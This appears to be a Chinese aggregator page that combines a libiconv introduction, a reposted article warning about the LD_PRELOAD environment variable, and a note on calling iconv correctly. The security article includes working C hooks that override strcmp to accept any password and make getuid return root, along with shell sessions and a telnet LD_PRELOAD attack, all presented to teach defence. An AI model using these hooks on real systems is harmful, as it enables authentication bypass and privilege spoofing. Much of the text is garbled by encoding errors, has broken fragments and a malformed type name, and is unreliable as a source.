libiconv的介绍
來(lái)源:'http://dxwang.blog.51cto.com/384651/538113
?
l??????? 哈薩克語(yǔ)
?
PT154
l??????? 泰國(guó)語(yǔ)
ISO-8859-11, TIS-620, CP874, MacThai
l??????? 老撾語(yǔ)
MuleLao-1, CP1133
l??????? 越南語(yǔ)
VISCII, TCVN, CP1258
l??????? 特殊平臺(tái)
HP-ROMAN8, NEXTSTEP
l??????? Full Unicode
UTF-8?
UCS-2, UCS-2BE, UCS-2LE?
UCS-4, UCS-4BE, UCS-4LE?
UTF-16, UTF-16BE, UTF-16LE?
UTF-32, UTF-32BE, UTF-32LE?
UTF-7?
C99, JAVA
l??????? Full Unicode, 按uint16_t/uint32_t (with machine dependent endianness and alignment)
UCS-2-INTERNAL, UCS-4-INTERNAL
l??????? Locale dependent, 按char/wchar_t (with machine dependent endianness and alignment, and with OS and locale dependent semantics)
char, wchar_t
?
名稱為空的編碼方式等同于“char”:表示依賴本地的字符編碼。
?
?
如果配置了選項(xiàng)--enable-extra-encodings,還支持部分其它編碼方式:
l??????? 歐洲語(yǔ)言
CP{437,737,775,852,853,855,857,858,860,861,863,865,869,1125}
l??????? 猶太語(yǔ)言
CP864
l??????? 日語(yǔ)
EUC-JISX0213, Shift_JISX0213, ISO-2022-JP-3
l??????? 中文
BIG5-2003 (experimental)
l??????? 土庫(kù)曼語(yǔ)
TDS565
l??????? 特殊平臺(tái)
ATARIST, RISCOS-LATIN1
?
通過(guò)與Unicode之間的轉(zhuǎn)換,libiconv支持所有這些編碼方式的任意轉(zhuǎn)換。
?
安裝
GNU包的常規(guī)安裝:
$ ./configure --prefix=/usr/local $ make $ make install?
第一次安裝libiconv庫(kù)后,強(qiáng)烈建議你重新編譯和重新安裝gettext,使它能使用libiconv強(qiáng)大的功能。
?
在非GUN/Linux系統(tǒng)上,只有g(shù)ettext在libiconv之前生成和安裝,采用iconv的程序才能支持國(guó)際化。也就是說(shuō),首先安裝libiconv,libiconv和gettext之間的循環(huán)依賴關(guān)系,可通過(guò)生成、安裝任一包來(lái)解決。
順序1:libiconv -
2
> gettext -> libiconv,或
?
順序2:gettext -> libiconv -> gettext(支持共享庫(kù)的系統(tǒng),AIX除外)
記住,第二次生成包時(shí),你需要運(yùn)行"make distclean"來(lái)清除第一次生成時(shí)留下的痕跡。
?
這個(gè)庫(kù)的生成、安裝有兩種模式。
2?????? 庫(kù)模式(library mode)。可工作在所有系統(tǒng)上,使用庫(kù)文件libiconv.so和頭文件<iconv.h>(兩個(gè)文件通過(guò)“make install”安裝)
使用這種模式,只需簡(jiǎn)單地#include <iconv.h>,然后使用函數(shù)。
自動(dòng)配置包方式(autoconfiguring package)使用這種模式:
- 如果不使用automake,將m4/iconv.m4附加到你的aclocal.m4文件中;
- 如果使用automake,將m4/iconv.m4添加到你的m4 macro repository;
- 運(yùn)用占位符@LIBICONV@(使用libtool創(chuàng)建鏈接,則為@LTLIBICONV@),將使用iconv函數(shù)的庫(kù)文件和可執(zhí)行文件添加到鏈接命令行中。如果使用automake,這些占位符的右邊是*_LDADD。
注意,iconv.m4也是gettext包的一部分,安裝在/usr/local/share/aclocal/iconv.m4。
?
2?????? libc的插入/重載模式(libc plug/override mode)。僅工作在GNU/Linux、Solaris和OSF/1系統(tǒng)上。是一種在沒(méi)有g(shù)libc時(shí)來(lái)獲取較好的iconv支持的途徑。
這種模式安裝庫(kù)文件preloadable_libiconv.so,通過(guò)選項(xiàng)LD_PRELOAD,來(lái)重載所有C語(yǔ)言庫(kù)中的iconv*函數(shù)。
- GNU/Linux和Solaris系統(tǒng):
$ export LD_PRELOAD=/usr/local/lib/preloadable_libiconv.so
- OSF/1系統(tǒng):
$ export _RLD_LIST=/usr/local/lib/preloadable_libiconv.so:DEFAULT
?
程序的代碼不需要修改,甚至不需要重新編譯,僅僅設(shè)置環(huán)境變量LD_PRELOAD即可。
?
下載libiconv
libiconv在GNU鏡像站點(diǎn) 的子目錄/pub/gnu/libiconv/找到。
通過(guò)其他途徑獲取libiconv,請(qǐng)閱讀怎樣獲取GNU軟件。
最新發(fā)布版本是 http://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.11.tar.gz
?
文檔
下面列出了相關(guān)在線文檔的鏈接。
iconv程序
iconv.1.html
庫(kù)函數(shù)
iconv_open.3.html?
iconv.3.html?
iconv_close.3.html?
iconvctl.3.html
警惕UNIX下的LD_PRELOAD環(huán)境變量
?
陳皓
?
前言
?
?????? 也許這個(gè)話題并不新鮮,因?yàn)長(zhǎng)D_PRELOAD所產(chǎn)生的問(wèn)題由來(lái)已久。不過(guò),在這里,我還是想討論一下這個(gè)環(huán)境變量。因?yàn)檫@個(gè)環(huán)境變量所帶來(lái)的安全問(wèn)題非常嚴(yán)重,值得所有的Unix下的程序員的注意。
?
在開始講述為什么要當(dāng)心LD_PRELOAD環(huán)境變量之前,請(qǐng)讓我先說(shuō)明一下程序的鏈接。所謂鏈接,也就是說(shuō)編譯器找到程序中所引用的函數(shù)或全局變量所存在的位置。一般來(lái)說(shuō),程序的鏈接分為靜態(tài)鏈接和動(dòng)態(tài)鏈接,靜態(tài)鏈接就是把所有所引用到的函數(shù)或變量全部地編譯到可執(zhí)行文件中。動(dòng)態(tài)鏈接則不會(huì)把函數(shù)編譯到可執(zhí)行文件中,而是在程序運(yùn)行時(shí)動(dòng)態(tài)地載入函數(shù)庫(kù),也就是運(yùn)行鏈接。所以,對(duì)于動(dòng)態(tài)鏈接來(lái)說(shuō),必然需要一個(gè)動(dòng)態(tài)鏈接庫(kù)。動(dòng)態(tài)鏈接庫(kù)的好處在于,一旦動(dòng)態(tài)庫(kù)中的函數(shù)發(fā)生變化,對(duì)于可執(zhí)行程序來(lái)說(shuō)是透明的,可執(zhí)行程序無(wú)需重新編譯。這對(duì)于程序的發(fā)布、維護(hù)、更新起到了積極的作用。對(duì)于靜態(tài)鏈接的程序來(lái)說(shuō),函數(shù)庫(kù)中一個(gè)小小的改動(dòng)需要整個(gè)程序的重新編譯、發(fā)布,對(duì)于程序的維護(hù)產(chǎn)生了比較大的工作量。
?
當(dāng)然,世界上沒(méi)有什么東西都是完美的,有好就有壞,有得就有失。動(dòng)態(tài)鏈接所帶來(lái)的壞處和其好處一樣同樣是巨大的。因?yàn)槌绦蛟谶\(yùn)行時(shí)動(dòng)態(tài)加載函數(shù),這也就為他人創(chuàng)造了可以影響你的主程序的機(jī)會(huì)。試想,一旦,你的程序動(dòng)態(tài)載入的函數(shù)不是你自己寫的,而是載入了別人的有企圖的代碼,通過(guò)函數(shù)的返回值來(lái)控制你的程序的執(zhí)行流程,那么,你的程序也就被人“劫持”了。
?
LD_PRELOAD簡(jiǎn)介
?
在UNIX的動(dòng)態(tài)鏈接庫(kù)的世界中,LD_PRELOAD就是這樣一個(gè)環(huán)境變量,它可以影響程序的運(yùn)行時(shí)的鏈接(Runtime linker),它允許你定義在程序運(yùn)行前優(yōu)先加載的動(dòng)態(tài)鏈接庫(kù)。這個(gè)功能主要就是用來(lái)有選擇性的載入不同動(dòng)態(tài)鏈接庫(kù)中的相同函數(shù)。通過(guò)這個(gè)環(huán)境變量,我們可以在主程序和其動(dòng)態(tài)鏈接庫(kù)的中間加載別的動(dòng)態(tài)鏈接庫(kù),甚至覆蓋正常的函數(shù)庫(kù)。一方面,我們可以以此功能來(lái)使用自己的或是更好的函數(shù)(無(wú)需別人的源碼),而另一方面,我們也可以以向別人的程序注入惡意程序,從而達(dá)到那不可告人的罪惡的目的。
?
我們知道,Linux的用的都是glibc,有一個(gè)叫l(wèi)ibc.so.6的文件,這是幾乎所有Linux下命令的動(dòng)態(tài)鏈接中,其中有標(biāo)準(zhǔn)C的各種函數(shù)。對(duì)于GCC而言,默認(rèn)情況下,所編譯的程序中對(duì)標(biāo)準(zhǔn)C函數(shù)的鏈接,都是通過(guò)動(dòng)態(tài)鏈接方式來(lái)鏈接libc.so.6這個(gè)函數(shù)庫(kù)的。
?
OK。還是讓我用一個(gè)例子來(lái)看一下用LD_PRELOAD來(lái)hack別人的程序。
?
示例一
?
我們寫下面一段例程:
?
/* 文件名:verifypasswd.c */
/* 這是一段判斷用戶口令的程序,其中使用到了標(biāo)準(zhǔn)C函數(shù)strcmp*/
?
#include <stdio.h>
#include <string.h>
?
int main(int argc, char **argv)
{
?
char passwd[] = "password";
?
if (argc < 2) {
??????? printf("usage: %s <password>\n", argv[0]);
??????? return;
}
?
if (!strcmp(passwd, argv[1])) {
??????? printf("Correct Password!\n");
??????? return;
}
?
printf("Invalid Password!\n");
}
?
?
?
在上面這段程序中,我們使用了strcmp函數(shù)來(lái)判斷兩個(gè)字符串是否相等。下面,我們使用一個(gè)動(dòng)態(tài)函數(shù)庫(kù)來(lái)重載strcmp函數(shù):
?
/* 文件名:hack.c */
?
#include <stdio.h>
#include <string.h>
?
int strcmp(const char *s1, const char *s2)
{
??????? printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);
??????? /* 永遠(yuǎn)返回0,表示兩個(gè)字符串相等 */
??????? return 0;
}
?
?
?
?
編譯程序:
$ gcc -o verifypasswd verifypasswd.c
$ gcc -shared -o hack.so hack.c
?
測(cè)試一下程序:(得到正確結(jié)果)
$ ./verifypasswd asdf
Invalid Password!
?
設(shè)置LD_PRELOAD變量:(使我們重寫過(guò)的strcmp函數(shù)的hack.so成為優(yōu)先載入鏈接庫(kù))
???????? $ export LD_PRELOAD="./hack.so"
?
再次運(yùn)行程序:
$ ./verifypasswd? asdf
hack function invoked. s1=<password> s2=<asdf>
Correct Password!
?
我們可以看到,1)我們的hack.so中的strcmp被調(diào)用了。2)主程序中運(yùn)行結(jié)果被影響了。如果這是一個(gè)系統(tǒng)登錄程序,那么這也就意味著我們用任意口令都可以進(jìn)入系統(tǒng)了。
?
示例二
?
讓我們?cè)賮?lái)一個(gè)示例(這個(gè)示例來(lái)源于我的工作)。這個(gè)軟件是一個(gè)分布式計(jì)算平臺(tái),軟件在所有的計(jì)算機(jī)上都有以ROOT身份運(yùn)行的偵聽程序(Daemon),用戶可以把的一程序從A計(jì)算機(jī)提交到B計(jì)算機(jī)上去運(yùn)行。這些Daemon會(huì)把用戶在A計(jì)算機(jī)上的所有環(huán)境變量帶到B計(jì)算機(jī)上,在B計(jì)算機(jī)上的Daemon會(huì)fork出一個(gè)子進(jìn)程,并且Daemon會(huì)調(diào)用seteuid、setegid來(lái)設(shè)置子程的執(zhí)行宿主,并在子進(jìn)程空間中設(shè)置從A計(jì)算機(jī)帶過(guò)來(lái)的環(huán)境變量,以仿真用戶的運(yùn)行環(huán)境。(注意:A和B都運(yùn)行在NIS/NFS方式上)
?
于是,我們可以寫下這樣的動(dòng)態(tài)鏈接庫(kù):
?
/* 文件名:preload.c */
?
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>
?
uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }
?
?
?
?????? 在這里我們可以看到,我們重載了系統(tǒng)調(diào)用。于是我們可以通過(guò)設(shè)置LC_PRELOAD來(lái)迫使主程序使用我們的geteuid/getuid/getgid(它們都返回0,也就是Root權(quán)限)。這會(huì)導(dǎo)致,上述的那個(gè)分布式計(jì)算平臺(tái)的軟件在提交端A計(jì)算機(jī)上調(diào)用了geteuid得到當(dāng)前用戶ID是0,并把這個(gè)用戶ID傳到了執(zhí)行端B計(jì)算機(jī)上,于是B計(jì)算機(jī)上的Daemon就會(huì)調(diào)用seteuid(0),導(dǎo)致我們的程序運(yùn)行在了Root權(quán)限之下。從而,用戶取得了超級(jí)用戶的權(quán)限而為所欲為。
?
?????? 上面的這個(gè)preload.c文件也就早期的為人所熟知的hack程序了。惡意用戶通過(guò)在系統(tǒng)中設(shè)計(jì)LC_PRELOAD環(huán)境變量來(lái)加載這個(gè)動(dòng)態(tài)鏈接庫(kù),會(huì)非常容易影響其它系統(tǒng)命令(如:/bin/sh, /bin/ls, /bin/rm 等),讓這些系統(tǒng)命令以Root權(quán)限運(yùn)行。
?
讓我們看一下這個(gè)函數(shù)是怎么影響系統(tǒng)命令的:
??????
$ id
uid=500(hchen) gid=10(wheel) groups=10(wheel)
$ gcc -shared -o preload.so preload.c
$ setenv LD_PRELOAD ./preload.so
$ id
uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)
?????? $ whoami
root
$ /bin/sh
#???????? <------ 你可以看到命令行提示符會(huì)由 $ 變成 #
??????
下面是一個(gè)曾經(jīng)非常著名的系統(tǒng)攻擊
$ telnet
telnet> env def LD_PRELOAD /home/hchen/test/preload.so
telnet> open localhost
#
?
?
?
當(dāng)然,這個(gè)安全BUG早已被Fix了(雖然,通過(guò)id或是whoami或是/bin/sh讓你覺(jué)得你像是root,但其實(shí)你并沒(méi)有root的權(quán)限),當(dāng)今的Unix系統(tǒng)中不會(huì)出現(xiàn)這個(gè)的問(wèn)題。但這并不代表,我們自己寫的程序,或是第三方的程序能夠避免這個(gè)問(wèn)題,尤其是那些以Root方式運(yùn)行的第三方程序。
?
所以,在我們編程時(shí),我們要隨時(shí)警惕著LD_PRELOAD。
?
?
如何避免
?
不可否認(rèn),LD_PRELOAD是一個(gè)很難纏的問(wèn)題。目前來(lái)說(shuō),要解決這個(gè)問(wèn)題,只能想方設(shè)法讓LD_PRELOAD失效。目前而言,有以下面兩種方法可以讓LD_PRELOAD失效。
?
1)通過(guò)靜態(tài)鏈接。使用gcc的-static參數(shù)可以把libc.so.6靜態(tài)鏈入執(zhí)行程序中。但這也就意味著你的程序不再支持動(dòng)態(tài)鏈接。
?
2)通過(guò)設(shè)置執(zhí)行文件的setgid / setuid標(biāo)志。在有SUID權(quán)限的執(zhí)行文件,系統(tǒng)會(huì)忽略LD_PRELOAD環(huán)境變量。也就是說(shuō),如果你有以root方式運(yùn)行的程序,最好設(shè)置上SUID權(quán)限。(如:chmod 4755 daemon)
?
在一些UNIX版本上,如果你想要使用LD_PRELOAD環(huán)境變量,你需要有root權(quán)限。但不管怎么說(shuō),這些個(gè)方法目前來(lái)看并不是一個(gè)徹底的解決方案,只是一個(gè)Workaround的方法,是一種因噎廢食的做法,為了安全,只能禁用。
本文來(lái)自CSDN博客,轉(zhuǎn)載請(qǐng)標(biāo)明出處:http://blog.csdn.net/haoel/archive/2007/05/09/1602108.aspx
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
libiconv之iconv函數(shù)的正確使用方法libiconv是一個(gè)開源的字符編碼轉(zhuǎn)換庫(kù),很多人使用它的轉(zhuǎn)換函數(shù)時(shí)都會(huì)遇到問(wèn)題,這次我們就來(lái)講一下怎么正確使用。
iconv函數(shù)原型為:
size_t iconv (iconv_t cd, ?char* * inbuf, size_t *inbytesleft, char* * outbuf, size_t *outbytesleft);?
第一個(gè)參數(shù)是iconv的描述字,其實(shí)是指針,第二個(gè)參數(shù)表示下一次轉(zhuǎn)換位置的指針的指針,第三個(gè)參數(shù)表示最多處理inbytesleft個(gè)字節(jié),第四個(gè)參數(shù)表示下一次轉(zhuǎn)換后輸出的指針的指針,第五個(gè)參數(shù)表示最多輸出outbutesleft個(gè)字節(jié)。
iconv函數(shù)一次轉(zhuǎn)換一個(gè)多字節(jié)字符,每次字符轉(zhuǎn)換,*inbuf增加已轉(zhuǎn)換的字節(jié)數(shù),*inbytesleft相應(yīng)地減少已轉(zhuǎn)換的字節(jié)數(shù);對(duì)應(yīng)地,*outbuf和*outbytesleft作相應(yīng)的修改,同時(shí)修改cd的轉(zhuǎn)換狀態(tài)。iconv函數(shù)返回本次調(diào)用中轉(zhuǎn)換的字符數(shù),可逆的轉(zhuǎn)換不計(jì)入。
注意iconv會(huì)改變這五個(gè)參數(shù)的值,所以我們?cè)谑褂玫臅r(shí)候一定要注意。使用的時(shí)候或者傳副本,或者先把值記錄下來(lái),用后在恢復(fù),個(gè)人比較傾向于第一種方法。而且由于iconv并不輸出\0,所以我們得自己加\0.
如下例子:
char* utf8_input="偉大的hongchangfirst";
char* utf8_input_tmp=utf8_input;
size_t insize=strlen(utf8_input);
const size_t outsize=1024*1024;
char* gbk_input=new char[outsize];
char8 gbk_input_tmp=gbk_input;
size_t outsize_tmp=outsize;
size_t rc=iconv(converter, &utf8_input_tmp, &insize, &gbk_input_tmp, &outsize_tmp);
*gbk_input_tmp='\0';
注意如果rc不為0,那就悲劇了,意味著我們不能夠再?gòu)霓D(zhuǎn)換后的字符串t完全轉(zhuǎn)換回去而不丟失信息了。
以下是iconv函數(shù)的英文注釋:
/* Converts, using conversion descriptor ‘cd’, at most ‘*inbytesleft’ bytes
? ?starting at ‘*inbuf’, writing at most ‘*outbytesleft’ bytes starting at
? ?‘*outbuf’.
? ?Decrements ‘*inbytesleft’ and increments ‘*inbuf’ by the same amount.
? ?Decrements ‘*outbytesleft’ and increments ‘*outbuf’ by the same amount. */
原文:http://blog.csdn.net/hongchangfirst/article/details/8951391
作者:hongchangfirst
hongchangfirst的主頁(yè):http://blog.csdn.net/hongchangfirst
總結(jié)
以上是生活随笔為你收集整理的libiconv的介绍的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 数据结构实验六 综合数据处理
- 下一篇: wordpress网站提示“建立数据库连